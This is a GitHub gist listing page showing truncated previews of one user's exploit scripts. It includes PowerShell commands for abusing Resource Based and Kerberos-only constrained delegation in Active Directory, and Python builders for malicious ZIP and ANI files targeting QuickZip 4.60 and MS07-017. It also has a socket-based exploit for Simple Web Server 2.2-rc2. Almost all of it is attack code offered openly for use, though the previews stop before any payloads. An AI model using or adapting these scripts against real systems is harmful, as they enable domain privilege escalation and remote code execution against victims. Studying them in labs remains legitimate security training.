Skip to content

Instantly share code, notes, and snippets.

View notsoshant's full-sized avatar
😎
Hackin'

Prashant Kumar notsoshant

😎
Hackin'
23 followers · 0 following
View GitHub Profile
@notsoshant
notsoshant / rbcd.ps1
Created December 13, 2021 19:04
Command to exploit Resource Based Constrained Delegation
# Verify the COSMOS\Hawking has Write permissions on BOSON$
$AttackerSID = Get-DomainUser Hawking -Properties objectsid | Select -Expand objectsid
$ACE = Get-DomainObjectACL "BOSON.COSMOS.LAB" -ResolveGUIDs | ?{$_.SecurityIdentifier -match $AttackerSID}
$ACE
ConvertFrom-SID $ACE.SecurityIdentifier
# Add QUARK$ in msDS-AllowedToActOnBehalfOfOtherIdentity attribute of BOSON$
$S4UIdentity = "COSMOS\QUARK$"
@notsoshant
notsoshant / kerberos_only.ps1
Created December 13, 2021 16:49
Commands to exploit Kerberos Only Constrained Delegation
# Add Machine account
New-MachineAccount -MachineAccount STRANGE -Password $(ConvertTo-SecureString 'Strange@123' -AsPlainText -Force)
# Add STRANGE$ in msDS-AllowedToActOnBehalfOfOtherIdentity attribute of QUARK$
$S4UIdentity = "COSMOS\STRANGE$"
$IdentitySID = ((New-Object -TypeName System.Security.Principal.NTAccount -ArgumentList $S4UIdentity).Translate([System.Security.Principal.SecurityIdentifier])).Value
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($IdentitySID))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
@notsoshant
notsoshant / quickzip-exploit.py
Created May 30, 2019 22:11
QuickZip 4.60 - Working exploit
#!/usr/bin/env python
# QuickZip 4.60 - Working exploit
# Author: Prashant Kumar
filename="exploit.zip"
ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00"
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f" # file size
@notsoshant
notsoshant / quickzip-array.py
Created May 30, 2019 22:10
QuickZip 4.60 - Script to create ZIP file to find bad characters
#!/usr/bin/env python
# QuickZip 4.60 - Script to create ZIP file to find bad characters
# Author: Prashant Kumar
filename="exploit.zip"
ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00"
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f" # file size
@notsoshant
notsoshant / quickzip-poc.py
Created May 30, 2019 22:07
PoC to replicate QuickZip 4.60 BOF
#!/usr/bin/env python
# QuickZip 4.60 - PoC to replicate crash
# Author: Prashant Kumar
filename="exploit.zip"
ldf_header = ("\x50\x4B\x03\x04\x14\x00\x00"
"\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00"
"\xe4\x0f" # file size
@notsoshant
notsoshant / ms07-017-exploit.py
Created March 3, 2019 20:39
Exploit code for MS07-017
#!/usr/bin/env python3
import struct
riff = b"RIFF"
acon = b"ACON"
# Valid anih chunk
valid_anih = b"\x61\x6e\x69\x68" + b"\x24\x00\x00\x00" + b"\x24\x00\x00\x00" + b"\x02\x00\x00\x00" # "anih" + size + HeaderSize + NumFrames
valid_anih += b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" # NumSteps + Width + Height + BitCount
@notsoshant
notsoshant / ms07-017-jmp-ebx.py
Created March 3, 2019 19:45
Code for creating ANI file that'll jump to [EBX]
#!/usr/bin/env python3
import struct
riff = b"RIFF"
acon = b"ACON"
# Valid anih chunk
valid_anih = b"\x61\x6e\x69\x68" + b"\x24\x00\x00\x00" + b"\x24\x00\x00\x00" + b"\x02\x00\x00\x00" # "anih" + size + HeaderSize + NumFrames
valid_anih += b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" # NumSteps + Width + Height + BitCount
@notsoshant
notsoshant / ms07-017-poc.py
Created March 3, 2019 15:12
PoC for MS07-017
#!/usr/bin/env python3
poc = b"\x52\x49\x46\x46" + b"\x90\x00\x00\x00" + b"\x41\x43\x4f\x4e" + b"\x61\x6e\x69\x68"
poc += b"\x24\x00\x00\x00" + b"\x24\x00\x00\x00" + b"\x02\x00\x00\x00" + b"\x00\x00\x00\x00"
poc += b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00" + b"\x00\x00\x00\x00"
poc += b"\x00\x00\x00\x00" + b"\x01\x00\x00\x00" + b"\x61\x6E\x69\x68" + b"\x58\x00\x00\x00"
poc += b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41"
poc += b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41"
poc += b"\x00\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41"
poc += b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x41\x41\x41\x41" + b"\x00\x00\x00\x00"
@notsoshant
notsoshant / sws_exploit.py
Last active February 14, 2019 20:09
Working exploit code for Simple Web Server 2.2-rc2
# Working exploit code for Simple Web Server 2.2-rc2
# Author: Prashant Kumar (@notsoshant)
import os
import sys
import socket
ip = "127.0.0.1"
socket = socket.socket(socket.AF_INET , socket.SOCK_STREAM)
socket.connect((ip , 80))
@notsoshant
notsoshant / sws_skeleton.py
Created February 13, 2019 19:14
Skeleton program to be used for exploiting Simple Web Server 2.2-rc2
# Skeleton exploit code for Simple Web Server 2.2-rc2
# Author: Prashant Kumar (@notsoshant)
import os
import sys
import socket
ip = "127.0.0.1"
socket = socket.socket(socket.AF_INET , socket.SOCK_STREAM)